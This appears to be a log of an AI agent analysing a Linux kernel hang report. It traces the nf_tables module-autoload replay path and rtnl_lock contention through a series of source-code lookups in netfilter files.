772: err = nf_register_net_hooks(net, ipv4_synproxy_ops,
773: ARRAY_SIZE(ipv4_synproxy_ops));
774: if (err)
775: return err;
776: }
777:
778: snet->hook_ref4++;
779: return 0;
780: }
SourceFile:net/netfilter/nf_synproxy_core.c]
|
| 201/2 |
2026/05/31 10:45 |
llm |
expert |
0m
Model:
Tokens:
input: 34672
output: 43
thoughts: 832
Thoughts: **Analyzing the Netfilter Autoload Mechanism**
Okay, so I was looking into how the Netfilter autoload mechanism works, specifically with the `nftables` framework, and I had a nagging suspicion about potential infinite loops. Let's see... Initially, I was thinking `-EAGAIN` from `nf_register_net_hooks` might be an issue, but that's not the case here. Let me check `nft_synproxy_do_init` again, just to be sure. Nope.
Aha! `nft_expr_type_request_module` *does* return `-EAGAIN`. Alright, so if *that* returns `-EAGAIN`, then `nf_tables_expr_parse` returns `-EAGAIN`, which means `nft_expr_init` returns `-EAGAIN`, which in turn leads to `nf_tables_newrule` returning `-EAGAIN`. Then, `nfnetlink_rcv_batch` handles this with the `NFNL_BATCH_REPLAY` flag and jumps to `done`. At `done`, it calls `ss->abort(net, oskb, NFNL_ABORT_AUTOLOAD)`. `ss->abort` is actually `nf_tables_abort`. From there, `__nf_tables_abort` gets called, which calls `nf_tables_module_autoload(net)`. This then calls `request_module("%s", req->module)`, and sets `req->done = true`. Then, it replays. The replay calls `nf_tables_newrule` again, which in turn calls `nft_expr_init`, which calls `nf_tables_expr_parse`. `nf_tables_expr_parse` calls `nft_expr_type_get`, which calls `nft_expr_type_request_module`. `nft_expr_type_request_module` then finds the request in `nft_net->module_list` and, since `req->done` is now true, it returns 0. So, `nft_expr_type_request_module` returns 0, and *then* the system continues through `nft_expr_type_get`, which calls `__nft_expr_type_get`. If the module loaded, it returns the type, but if loading failed, it returns NULL. Therefore, `nft_expr_type_get` will return `ERR_PTR(-ENOENT)`. Then `nf_tables_expr_parse` returns `-ENOENT`, then `nf_tables_newrule` returns `-ENOENT`, and finally, `nfnetlink_rcv_batch` sets `NFNL_BATCH_FAILURE` and goes to `ack`. That means it *shouldn't* loop infinitely. Good.
But wait a minute... what if `nft_request_module` is called for a different module? For instance, what if `nft_expr_type_get` requests `nft-expr-synproxy`? If that happens, `nft_request_module` adds `nft-expr-synproxy` to the list and returns `-EAGAIN`. Then, it aborts, loads `nft-expr-synproxy`, and replays. During the replay, `nft_expr_type_get` requests `nft-expr-synproxy`, and this time `nft_request_module` returns 0. After that, `__nft_expr_type_get` returns NULL, because maybe it should be `nft_synproxy` instead? Hmm... Now I see, `nft_expr_type_request_module` requests `nft-expr-%u-%.*s` (family specific). If *that* fails, it tries `nft-expr-%.*s` (generic). Let me go back and investigate `nft_expr_type_get` again...
|
| 202/2 |
2026/05/31 10:45 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_expr_type_get]
Results: map[SourceCode:3316: static const struct nft_expr_type *nft_expr_type_get(struct net *net,
3317: u8 family,
3318: struct nlattr *nla)
3319: {
3320: const struct nft_expr_type *type;
3321:
3322: if (nla == NULL)
3323: return ERR_PTR(-EINVAL);
3324:
3325: rcu_read_lock();
3326: type = __nft_expr_type_get(family, nla);
3327: if (type != NULL && try_module_get(type->owner)) {
3328: rcu_read_unlock();
3329: return type;
3330: }
3331: rcu_read_unlock();
3332:
3333: lockdep_nfnl_nft_mutex_not_held();
3334: #ifdef CONFIG_MODULES
3335: if (type == NULL) {
3336: if (nft_expr_type_request_module(net, family, nla) == -EAGAIN)
3337: return ERR_PTR(-EAGAIN);
3338:
3339: if (nft_request_module(net, "nft-expr-%.*s",
3340: nla_len(nla),
3341: (char *)nla_data(nla)) == -EAGAIN)
3342: return ERR_PTR(-EAGAIN);
3343: }
3344: #endif
3345: return ERR_PTR(-ENOENT);
3346: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 203/2 |
2026/05/31 10:45 |
llm |
expert |
0m
Model:
Tokens:
input: 36873
output: 45
thoughts: 258
Thoughts: **My Analysis of the Module Loading and Replay Logic**
Okay, so here's what's running through my head. I see a pattern here with these error returns and replays. If `nft_expr_type_request_module` initially kicks back `-EAGAIN`, the `nft_expr_type_get` follows suit with an `-EAGAIN` and it aborts to replay it later. Then we load the family-specific module and replay, and `nft_expr_type_request_module` starts returning 0. Then we call `nft_request_module` with a generic module name. If *that* call returns `-EAGAIN* then we abort and load the generic module and replay the entire thing again. Which would be fine, so long as it doesn't loop infinitely.
Aha, and during this replay, `nft_expr_type_request_module` also starts returning 0 and then `nft_request_module` itself returns 0, but finally `nft_expr_type_get` is returning `-ENOENT`. So it's two replays, so that's okay. But what happens if the `nft_request_module` actually returns an `-EAGAIN` because the module is *actually* removed from the list? When does that happen? Ah, `nf_tables_module_autoload_cleanup` – that's the key. I need to look into *that* routine to understand the conditions under which a module might be removed mid-flight. That will determine whether this logic is robust to certain race conditions.
|
| 204/2 |
2026/05/31 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_module_autoload_cleanup]
Results: map[SourceCode:10671: static void nf_tables_module_autoload_cleanup(struct net *net)
10672: {
10673: struct nftables_pernet *nft_net = nft_pernet(net);
10674: struct nft_module_request *req, *next;
10675:
10676: WARN_ON_ONCE(!list_empty(&nft_net->commit_list));
10677: list_for_each_entry_safe(req, next, &nft_net->module_list, list) {
10678: WARN_ON_ONCE(!req->done);
10679: list_del(&req->list);
10680: kfree(req);
10681: }
10682: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 205/2 |
2026/05/31 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 37764
output: 43
thoughts: 95
Thoughts: Here's my analysis of that code snippet:
**Autoloading and Aborting: A Deep Dive**
Okay, so I'm looking at how the `nf_tables` module handles autoloading and, critically, when it needs to be cleaned up. It seems the cleanup function, `nf_tables_module_autoload_cleanup`, is triggered under specific conditions. My mental model is that this function fires when the `action` variable isn't set to `NFNL_ABORT_AUTOLOAD`. That makes sense; we want to clean up if we *didn't* abort.
Now, things get interesting when we jump into `nfnetlink_rcv_batch`. It's here that I see the `NFNL_BATCH_REPLAY` flag being key. If this flag is set within the `status`, the code calls `ss->abort(net, oskb, NFNL_ABORT_AUTOLOAD)`. This immediately directs my attention to `nf_tables_module_autoload`. From my expertise, I suspect this function likely manages the actual loading process. Essentially, the batch replay mechanism appears to have an inherent abort capability, potentially designed to address issues in its execution. That's a good design pattern – explicit abort handling to prevent resource leaks or inconsistent states. I need to keep in mind, however, the specific conditions in which this abort is triggered, as that's key to the overall flow.
|
| 206/2 |
2026/05/31 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_module_autoload]
Results: map[SourceCode:11173: static void nf_tables_module_autoload(struct net *net)
11174: {
11175: struct nftables_pernet *nft_net = nft_pernet(net);
11176: struct nft_module_request *req, *next;
11177: LIST_HEAD(module_list);
11178:
11179: list_splice_init(&nft_net->module_list, &module_list);
11180: mutex_unlock(&nft_net->commit_mutex);
11181: list_for_each_entry_safe(req, next, &module_list, list) {
11182: request_module("%s", req->module);
11183: req->done = true;
11184: }
11185: mutex_lock(&nft_net->commit_mutex);
11186: list_splice(&module_list, &nft_net->module_list);
11187: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 207/2 |
2026/05/31 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 38518
output: 39
thoughts: 445
Thoughts: **My Analysis of the `nf_tables_module_autoload` Mechanism and Potential Issues**
Okay, so `nf_tables_module_autoload` *doesn't* actually remove the requests from the list immediately. It just sets `req->done = true`. That's a key detail. This means the requests are accumulating until `nf_tables_module_autoload_cleanup` is called.
The next critical question is when that cleanup happens. It seems `nf_tables_module_autoload_cleanup` is triggered when `action` isn't `NFNL_ABORT_AUTOLOAD`, which occurs if either the `status` has `NFNL_BATCH_FAILURE` set or when it equals `NFNL_BATCH_DONE`. So, when that batch eventually fails with an `-ENOENT` error, it calls `ss->abort(net, oskb, NFNL_ABORT_NONE)`, which then, importantly, calls `nf_tables_module_autoload_cleanup` and *finally* frees those requests.
Now, I'm trying to think through potential edge cases. What if `nft_request_module` is called from `nft_synproxy_do_init`? I can rule that out. It does not call `nft_request_module`. Instead, it calls `nf_ct_netns_get`, which in turn calls `nf_ct_netns_do_get`. That one *does* call `request_module("nf_conntrack_bridge")` if the protocol is `NFPROTO_BRIDGE`. However, the reproducer uses either `NFPROTO_IPV4`, `NFPROTO_IPV6`, or `NFPROTO_INET`. So, it's a dead end.
Now, let's look at the reproducer's payload more closely. We have `domain: const = 0x10` (AF_NETLINK), `type: const = 0x3` (SOCK_RAW), and `proto: const = 0xc` (NETLINK_NETFILTER). The payload itself seems to be related to `synproxy`. Ok, let's see what `nf_synproxy_ipv4_init` does. It calls `nf_register_net_hooks`. Does *that* block? I think... yes, `nf_register_net_hooks` takes `rtnl_lock()`! That could be a problem! I need to investigate that further. That's definitely a potential point of contention.
|
| 208/2 |
2026/05/31 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/core.c Name:nf_register_net_hooks]
Results: map[SourceCode: 584: int nf_register_net_hooks(struct net *net, const struct nf_hook_ops *reg,
585: unsigned int n)
586: {
587: unsigned int i;
588: int err = 0;
589:
590: for (i = 0; i < n; i++) {
591: err = nf_register_net_hook(net, ®[i]);
592: if (err)
593: goto err;
594: }
595: return err;
596:
597: err:
598: if (i > 0)
599: nf_unregister_net_hooks(net, reg, i);
600: return err;
601: }
SourceFile:net/netfilter/core.c]
|
| 209/2 |
2026/05/31 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 39804
output: 39
thoughts: 0
|
| 210/2 |
2026/05/31 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/core.c Name:nf_register_net_hook]
Results: map[SourceCode: 554: int nf_register_net_hook(struct net *net, const struct nf_hook_ops *reg)
555: {
556: int err;
557:
558: if (reg->pf == NFPROTO_INET) {
559: if (reg->hooknum == NF_INET_INGRESS) {
560: err = __nf_register_net_hook(net, NFPROTO_INET, reg);
561: if (err < 0)
562: return err;
563: } else {
564: err = __nf_register_net_hook(net, NFPROTO_IPV4, reg);
565: if (err < 0)
566: return err;
567:
568: err = __nf_register_net_hook(net, NFPROTO_IPV6, reg);
569: if (err < 0) {
570: __nf_unregister_net_hook(net, NFPROTO_IPV4, reg);
571: return err;
572: }
573: }
574: } else {
575: err = __nf_register_net_hook(net, reg->pf, reg);
576: if (err < 0)
577: return err;
578: }
579:
580: return 0;
581: }
SourceFile:net/netfilter/core.c]
|
| 211/2 |
2026/05/31 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 40280
output: 40
thoughts: 0
|
| 212/2 |
2026/05/31 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/core.c Name:__nf_register_net_hook]
Results: map[SourceCode: 393: static int __nf_register_net_hook(struct net *net, int pf,
394: const struct nf_hook_ops *reg)
395: {
396: struct nf_hook_entries *p, *new_hooks;
397: struct nf_hook_entries __rcu **pp;
398: int err;
399:
400: switch (pf) {
401: case NFPROTO_NETDEV:
402: #ifndef CONFIG_NETFILTER_INGRESS
403: if (reg->hooknum == NF_NETDEV_INGRESS)
404: return -EOPNOTSUPP;
405: #endif
406: #ifndef CONFIG_NETFILTER_EGRESS
407: if (reg->hooknum == NF_NETDEV_EGRESS)
408: return -EOPNOTSUPP;
409: #endif
410: if ((reg->hooknum != NF_NETDEV_INGRESS &&
411: reg->hooknum != NF_NETDEV_EGRESS) ||
412: !reg->dev || dev_net(reg->dev) != net)
413: return -EINVAL;
414: break;
415: case NFPROTO_INET:
416: if (reg->hooknum != NF_INET_INGRESS)
417: break;
418:
419: err = nf_ingress_check(net, reg, NF_INET_INGRESS);
420: if (err < 0)
421: return err;
422: break;
423: }
424:
425: pp = nf_hook_entry_head(net, pf, reg->hooknum, reg->dev);
426: if (!pp)
427: return -EINVAL;
428:
429: mutex_lock(&nf_hook_mutex);
430:
431: p = nf_entry_dereference(*pp);
432: new_hooks = nf_hook_entries_grow(p, reg);
433:
434: if (!IS_ERR(new_hooks)) {
435: hooks_validate(new_hooks);
436: rcu_assign_pointer(*pp, new_hooks);
437: }
438:
439: mutex_unlock(&nf_hook_mutex);
440: if (IS_ERR(new_hooks))
441: return PTR_ERR(new_hooks);
442:
443: #ifdef CONFIG_NETFILTER_INGRESS
444: if (nf_ingress_hook(reg, pf))
445: net_inc_ingress_queue();
446: #endif
447: #ifdef CONFIG_NETFILTER_EGRESS
448: if (nf_egress_hook(reg, pf))
449: net_inc_egress_queue();
450: #endif
451: nf_static_key_inc(reg, pf);
452:
453: BUG_ON(p == new_hooks);
454: nf_hook_entries_free(p);
455: return 0;
456: }
SourceFile:net/netfilter/core.c]
|
| 213/2 |
2026/05/31 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 41279
output: 37
thoughts: 71
Thoughts: **Analyzing Netfilter Hook Registration**
Okay, so I'm looking at `__nf_register_net_hook`. My initial thought is, "Right, it acquires `nf_hook_mutex`." Standard Netfilter stuff. But a question immediately pops up: does this function *also* happen to grab `rtnl_lock()`? That's a potential area for contention I need to be aware of. Let me just pause and confirm that it does *not* acquire `rtnl_lock()`. Good, that simplifies things a little.
Hold on a second though... while `__nf_register_net_hook` might be clean, what about the functions it *calls*, or those called by functions it depends on? Specifically, I'm thinking about `nf_ingress_check`. Could *that* function, somewhere down the call stack, potentially be taking `rtnl_lock()`? That would change the locking dynamics entirely. Therefore, I need to investigate `nf_ingress_check` to see if that is in fact taking `rtnl_lock()`.
|
| 214/2 |
2026/05/31 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/core.c Name:nf_ingress_check]
Results: map[SourceCode: 333: static int nf_ingress_check(struct net *net, const struct nf_hook_ops *reg,
334: int hooknum)
335: {
336: #ifndef CONFIG_NETFILTER_INGRESS
337: if (reg->hooknum == hooknum)
338: return -EOPNOTSUPP;
339: #endif
340: if (reg->hooknum != hooknum ||
341: !reg->dev || dev_net(reg->dev) != net)
342: return -EINVAL;
343:
344: return 0;
345: }
SourceFile:net/netfilter/core.c]
|
| 215/2 |
2026/05/31 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 41831
output: 38
thoughts: 20
Thoughts: Okay, here's my summarized thought process, presented as if I were thinking it:
**Analyzing Network Ingress Metrics**
No, that doesn't quite capture what I'm looking for. It's close, but it's not quite the right metric for this particular problem. It's missing something essential.
Okay, let me pivot. What about `net_inc_ingress_queue`? That *might* be what I'm after. It's related to the inbound data queue, which is definitely relevant to this. I need to think about that metric's definition, how it's measured, and how it relates to the specific issue at hand. That is the place to start.
|
| 216/2 |
2026/05/31 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/core/dev.c Name:net_inc_ingress_queue]
Results: map[SourceCode:2310: void net_inc_ingress_queue(void)
2311: {
2312: static_branch_inc(&ingress_needed_key);
2313: }
SourceFile:net/core/dev.c]
|
| 217/2 |
2026/05/31 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 42123
output: 37
thoughts: 57
Thoughts: Okay, let's break this down.
**Investigating a Network Hooks and RTNL Lock Discrepancy**
Right, so the first thing that jumped out at me is that `nf_register_net_hooks` doesn't seem to be acquiring the `rtnl_lock()`. That's standard practice, I would have thought! That's odd, generally speaking.
Then I see `crda_timeout_work` is *waiting* on the `rtnl_lock()`. Now, that's immediately concerning. Why would something related to regulatory domain changes, presumably, be blocked on the Netlink lock if `nf_register_net_hooks` isn't using it? Something smells fishy.
Okay, time to dig deeper and understand precisely *what* `crda_timeout_work` is doing. I need to trace this back. Let's see what's happening in `crda_timeout_work`. Gotta figure out the dependency chain here and where the lock is really being needed. This could be a race condition waiting to happen.
|
| 218/2 |
2026/05/31 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/wireless/reg.c Name:crda_timeout_work]
Results: map[SourceCode: 538: static void crda_timeout_work(struct work_struct *work)
539: {
540: pr_debug("Timeout while waiting for CRDA to reply, restoring regulatory settings\n");
541: rtnl_lock();
542: reg_crda_timeouts++;
543: restore_regulatory_settings(true, false);
544: rtnl_unlock();
545: }
SourceFile:net/wireless/reg.c]
|
| 219/2 |
2026/05/31 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 42596
output: 41
thoughts: 161
Thoughts: **Debugging a Concurrency Issue**
Okay, so I'm trying to figure out why this is hanging. The first thing I'm seeing is that it's waiting for `rtnl_lock()`. Alright, who's got that lock? Let's assume for a second it's the reproducer process itself, since that's where I'm focused. Yup, it looks like it is. Looking at the reproducer, it's doing an `mmap`, then a `socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER)`. Then there are `sendmsg` calls. Those `sendmsg` calls are what's leading us into `nfnetlink_rcv_batch`.
Now, does `nfnetlink_rcv_batch` itself grab `rtnl_lock()`? No, it's taking `nfnl_lock(subsys_id)`, which is the same as `nfnl_mutex`. Interesting. So we're getting into `nfnetlink_rcv_batch` but that isn't the root cause. Okay, wait... what about `nf_tables_commit`? Does *that* function hold `rtnl_lock()`? I need to check the code for that one to be sure. Let's dive in.
|
| 220/2 |
2026/05/31 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_commit]
Results: map[SourceCode:10860: static int nf_tables_commit(struct net *net, struct sk_buff *skb)
10861: {
10862: struct nftables_pernet *nft_net = nft_pernet(net);
10863: const struct nlmsghdr *nlh = nlmsg_hdr(skb);
10864: struct nft_trans_binding *trans_binding;
10865: struct nft_trans *trans, *next;
10866: unsigned int base_seq, gc_seq;
10867: LIST_HEAD(set_update_list);
10868: struct nft_trans_elem *te;
10869: struct nft_chain *chain;
10870: struct nft_table *table;
10871: struct nft_ctx ctx;
10872: LIST_HEAD(adl);
10873: int err;
10874:
10875: if (list_empty(&nft_net->commit_list)) {
10876: mutex_unlock(&nft_net->commit_mutex);
10877: return 0;
10878: }
10879:
10880: nft_ctx_init(&ctx, net, skb, nlh, NFPROTO_UNSPEC, NULL, NULL, NULL);
10881:
10882: list_for_each_entry(trans_binding, &nft_net->binding_list, binding_list) {
10883: trans = &trans_binding->nft_trans;
10884: switch (trans->msg_type) {
10885: case NFT_MSG_NEWSET:
10886: if (!nft_trans_set_update(trans) &&
10887: nft_set_is_anonymous(nft_trans_set(trans)) &&
10888: !nft_trans_set_bound(trans)) {
10889: pr_warn_once("nftables ruleset with unbound set\n");
10890: return -EINVAL;
10891: }
10892: break;
10893: case NFT_MSG_NEWCHAIN:
10894: if (!nft_trans_chain_update(trans) &&
10895: nft_chain_binding(nft_trans_chain(trans)) &&
10896: !nft_trans_chain_bound(trans)) {
10897: pr_warn_once("nftables ruleset with unbound chain\n");
10898: return -EINVAL;
10899: }
10900: break;
10901: default:
10902: WARN_ONCE(1, "Unhandled bind type %d", trans->msg_type);
10903: break;
10904: }
10905: }
10906:
10907: /* 0. Validate ruleset, otherwise roll back for error reporting. */
10908: if (nf_tables_validate(net) < 0) {
10909: nft_net->validate_state = NFT_VALIDATE_DO;
10910: return -EAGAIN;
10911: }
10912:
10913: err = nft_flow_rule_offload_commit(net);
10914: if (err < 0)
10915: return err;
10916:
10917: /* 1. Allocate space for next generation rules_gen_X[] */
10918: list_for_each_entry_safe(trans, next, &nft_net->commit_list, list) {
10919: struct nft_table *table = trans->table;
10920: int ret;
10921:
10922: ret = nf_tables_commit_audit_alloc(&adl, table);
10923: if (ret) {
10924: nf_tables_commit_chain_prepare_cancel(net);
10925: nf_tables_commit_audit_free(&adl);
10926: return ret;
10927: }
10928: if (trans->msg_type == NFT_MSG_NEWRULE ||
10929: trans->msg_type == NFT_MSG_DELRULE) {
10930: chain = nft_trans_rule_chain(trans);
10931:
10932: ret = nf_tables_commit_chain_prepare(net, chain);
10933: if (ret < 0) {
10934: nf_tables_commit_chain_prepare_cancel(net);
10935: nf_tables_commit_audit_free(&adl);
10936: return ret;
10937: }
10938: }
10939: }
10940:
10941: /* step 2. Make rules_gen_X visible to packet path */
10942: list_for_each_entry(table, &nft_net->tables, list) {
10943: list_for_each_entry(chain, &table->chains, list)
10944: nf_tables_commit_chain(net, chain);
10945: }
10946:
10947: /*
10948: * Bump generation counter, invalidate any dump in progress.
10949: * Cannot fail after this point.
10950: */
10951: base_seq = READ_ONCE(nft_net->base_seq);
10952: while (++base_seq == 0)
10953: ;
10954:
10955: WRITE_ONCE(nft_net->base_seq, base_seq);
10956:
10957: gc_seq = nft_gc_seq_begin(nft_net);
10958:
10959: /* step 3. Start new generation, rules_gen_X now in use. */
10960: net->nft.gencursor = nft_gencursor_next(net);
10961:
10962: list_for_each_entry_safe(trans, next, &nft_net->commit_list, list) {
10963: struct nft_table *table = trans->table;
10964:
10965: nft_ctx_update(&ctx, trans);
10966:
10967: nf_tables_commit_audit_collect(&adl, trans, trans->msg_type);
10968: switch (trans->msg_type) {
10969: case NFT_MSG_NEWTABLE:
10970: if (nft_trans_table_update(trans)) {
10971: if (!(table->flags & __NFT_TABLE_F_UPDATE)) {
10972: nft_trans_destroy(trans);
10973: break;
10974: }
10975: if (table->flags & NFT_TABLE_F_DORMANT)
10976: nf_tables_table_disable(net, table);
10977:
10978: table->flags &= ~__NFT_TABLE_F_UPDATE;
10979: } else {
10980: nft_clear(net, table);
10981: }
10982: nf_tables_table_notify(&ctx, NFT_MSG_NEWTABLE);
10983: nft_trans_destroy(trans);
10984: break;
10985: case NFT_MSG_DELTABLE:
10986: case NFT_MSG_DESTROYTABLE:
10987: list_del_rcu(&table->list);
10988: nf_tables_table_notify(&ctx, trans->msg_type);
10989: break;
10990: case NFT_MSG_NEWCHAIN:
10991: if (nft_trans_chain_update(trans)) {
10992: nft_chain_commit_update(nft_trans_container_chain(trans));
10993: nf_tables_chain_notify(&ctx, NFT_MSG_NEWCHAIN,
10994: &nft_trans_chain_hooks(trans));
10995: list_splice(&nft_trans_chain_hooks(trans),
10996: &nft_trans_basechain(trans)->hook_list);
10997: /* trans destroyed after rcu grace period */
10998: } else {
10999: nft_chain_commit_drop_policy(nft_trans_container_chain(trans));
11000: nft_clear(net, nft_trans_chain(trans));
11001: nf_tables_chain_notify(&ctx, NFT_MSG_NEWCHAIN, NULL);
11002: nft_trans_destroy(trans);
11003: }
11004: break;
11005: case NFT_MSG_DELCHAIN:
11006: case NFT_MSG_DESTROYCHAIN:
11007: if (nft_trans_chain_update(trans)) {
11008: nf_tables_chain_notify(&ctx, NFT_MSG_DELCHAIN,
11009: &nft_trans_chain_hooks(trans));
11010: if (!(table->flags & NFT_TABLE_F_DORMANT)) {
11011: nft_netdev_unregister_hooks(net,
11012: &nft_trans_chain_hooks(trans),
11013: true);
11014: }
11015: } else {
11016: nft_chain_del(nft_trans_chain(trans));
11017: nf_tables_chain_notify(&ctx, NFT_MSG_DELCHAIN,
11018: NULL);
11019: nf_tables_unregister_hook(ctx.net, ctx.table,
11020: nft_trans_chain(trans));
11021: }
11022: break;
11023: case NFT_MSG_NEWRULE:
11024: nft_clear(net, nft_trans_rule(trans));
11025: nf_tables_rule_notify(&ctx, nft_trans_rule(trans),
11026: NFT_MSG_NEWRULE);
11027: if (nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD)
11028: nft_flow_rule_destroy(nft_trans_flow_rule(trans));
11029:
11030: nft_trans_destroy(trans);
11031: break;
11032: case NFT_MSG_DELRULE:
11033: case NFT_MSG_DESTROYRULE:
11034: list_del_rcu(&nft_trans_rule(trans)->list);
11035: nf_tables_rule_notify(&ctx, nft_trans_rule(trans),
11036: trans->msg_type);
11037: nft_rule_expr_deactivate(&ctx, nft_trans_rule(trans),
11038: NFT_TRANS_COMMIT);
11039:
11040: if (nft_trans_rule_chain(trans)->flags & NFT_CHAIN_HW_OFFLOAD)
11041: nft_flow_rule_destroy(nft_trans_flow_rule(trans));
11042: break;
11043: case NFT_MSG_NEWSET:
11044: list_del(&nft_trans_container_set(trans)->list_trans_newset);
11045: if (nft_trans_set_update(trans)) {
11046: struct nft_set *set = nft_trans_set(trans);
11047:
11048: WRITE_ONCE(set->timeout, nft_trans_set_timeout(trans));
11049: WRITE_ONCE(set->gc_int, nft_trans_set_gc_int(trans));
11050:
11051: if (nft_trans_set_size(trans))
11052: WRITE_ONCE(set->size, nft_trans_set_size(trans));
11053: } else {
11054: nft_clear(net, nft_trans_set(trans));
11055: /* This avoids hitting -EBUSY when deleting the table
11056: * from the transaction.
11057: */
11058: if (nft_set_is_anonymous(nft_trans_set(trans)) &&
11059: !list_empty(&nft_trans_set(trans)->bindings))
11060: nft_use_dec(&table->use);
11061: }
11062: nf_tables_set_notify(&ctx, nft_trans_set(trans),
11063: NFT_MSG_NEWSET, GFP_KERNEL);
11064: nft_trans_destroy(trans);
11065: break;
11066: case NFT_MSG_DELSET:
11067: case NFT_MSG_DESTROYSET:
11068: nft_trans_set(trans)->dead = 1;
11069: list_del_rcu(&nft_trans_set(trans)->list);
11070: nf_tables_set_notify(&ctx, nft_trans_set(trans),
11071: trans->msg_type, GFP_KERNEL);
11072: break;
11073: case NFT_MSG_NEWSETELEM:
11074: te = nft_trans_container_elem(trans);
11075:
11076: nft_trans_elems_add(&ctx, te);
11077:
11078: if (te->set->ops->commit &&
11079: list_empty(&te->set->pending_update)) {
11080: list_add_tail(&te->set->pending_update,
11081: &set_update_list);
11082: }
11083: nft_trans_destroy(trans);
11084: break;
11085: case NFT_MSG_DELSETELEM:
11086: case NFT_MSG_DESTROYSETELEM:
11087: te = nft_trans_container_elem(trans);
11088:
11089: nft_trans_elems_remove(&ctx, te);
11090:
11091: if (te->set->ops->commit &&
11092: list_empty(&te->set->pending_update)) {
11093: list_add_tail(&te->set->pending_update,
11094: &set_update_list);
11095: }
11096: break;
11097: case NFT_MSG_NEWOBJ:
11098: if (nft_trans_obj_update(trans)) {
11099: nft_obj_commit_update(&ctx, trans);
11100: nf_tables_obj_notify(&ctx,
11101: nft_trans_obj(trans),
11102: NFT_MSG_NEWOBJ);
11103: } else {
11104: nft_clear(net, nft_trans_obj(trans));
11105: nf_tables_obj_notify(&ctx,
11106: nft_trans_obj(trans),
11107: NFT_MSG_NEWOBJ);
11108: nft_trans_destroy(trans);
11109: }
11110: break;
11111: case NFT_MSG_DELOBJ:
11112: case NFT_MSG_DESTROYOBJ:
11113: nft_obj_del(nft_trans_obj(trans));
11114: nf_tables_obj_notify(&ctx, nft_trans_obj(trans),
11115: trans->msg_type);
11116: break;
11117: case NFT_MSG_NEWFLOWTABLE:
11118: if (nft_trans_flowtable_update(trans)) {
11119: nft_trans_flowtable(trans)->data.flags =
11120: nft_trans_flowtable_flags(trans);
11121: nf_tables_flowtable_notify(&ctx,
11122: nft_trans_flowtable(trans),
11123: &nft_trans_flowtable_hooks(trans),
11124: NFT_MSG_NEWFLOWTABLE);
11125: list_splice(&nft_trans_flowtable_hooks(trans),
11126: &nft_trans_flowtable(trans)->hook_list);
11127: } else {
11128: nft_clear(net, nft_trans_flowtable(trans));
11129: nf_tables_flowtable_notify(&ctx,
11130: nft_trans_flowtable(trans),
11131: NULL,
11132: NFT_MSG_NEWFLOWTABLE);
11133: }
11134: nft_trans_destroy(trans);
11135: break;
11136: case NFT_MSG_DELFLOWTABLE:
11137: case NFT_MSG_DESTROYFLOWTABLE:
11138: if (nft_trans_flowtable_update(trans)) {
11139: nf_tables_flowtable_notify(&ctx,
11140: nft_trans_flowtable(trans),
11141: &nft_trans_flowtable_hooks(trans),
11142: trans->msg_type);
11143: nft_unregister_flowtable_net_hooks(net,
11144: nft_trans_flowtable(trans),
11145: &nft_trans_flowtable_hooks(trans));
11146: } else {
11147: list_del_rcu(&nft_trans_flowtable(trans)->list);
11148: nf_tables_flowtable_notify(&ctx,
11149: nft_trans_flowtable(trans),
11150: NULL,
11151: trans->msg_type);
11152: nft_unregister_flowtable_net_hooks(net,
11153: nft_trans_flowtable(trans),
11154: &nft_trans_flowtable(trans)->hook_list);
11155: }
11156: break;
11157: }
11158: }
11159:
11160: nft_set_commit_update(&set_update_list);
11161:
11162: nft_commit_notify(net, NETLINK_CB(skb).portid);
11163: nf_tables_gen_notify(net, skb, NFT_MSG_NEWGEN);
11164: nf_tables_commit_audit_log(&adl, nft_net->base_seq);
11165:
11166: nft_gc_seq_end(nft_net, gc_seq);
11167: nft_net->validate_state = NFT_VALIDATE_SKIP;
11168: nf_tables_commit_release(net);
11169:
11170: return 0;
11171: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 221/2 |
2026/05/31 10:46 |
llm |
expert |
0m
Model:
Tokens:
input: 48501
output: 44
thoughts: 57
Thoughts: **Investigating Potential RTNL Lock Issues in Netfilter Operations**
Okay, so `nf_tables_commit` is the function that's got my attention right now. Specifically, I'm thinking about the potential for locking conflicts within it. I know it calls either `nft_netdev_unregister_hooks` or `nft_unregister_flowtable_net_hooks`. The critical question is whether these unregister functions are taking `rtnl_lock()`. If they are, it could cause issues down the line with deadlocks. It's a classic concurrency problem, and I need to be absolutely sure this is handled correctly within the Netfilter framework. To get to the bottom of this, I need to dive deeper into the code. Let's start by dissecting `nft_netdev_unregister_hooks` and see what it's doing with that lock.
|
| 222/2 |
2026/05/31 10:46 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_netdev_unregister_hooks]
Results: map[SourceCode: 359: static void nft_netdev_unregister_hooks(struct net *net,
360: struct list_head *hook_list,
361: bool release_netdev)
362: {
363: struct nft_hook *hook, *next;
364: struct nf_hook_ops *ops;
365:
366: list_for_each_entry_safe(hook, next, hook_list, list) {
367: list_for_each_entry(ops, &hook->ops_list, list)
368: nf_unregister_net_hook(net, ops);
369: if (release_netdev) {
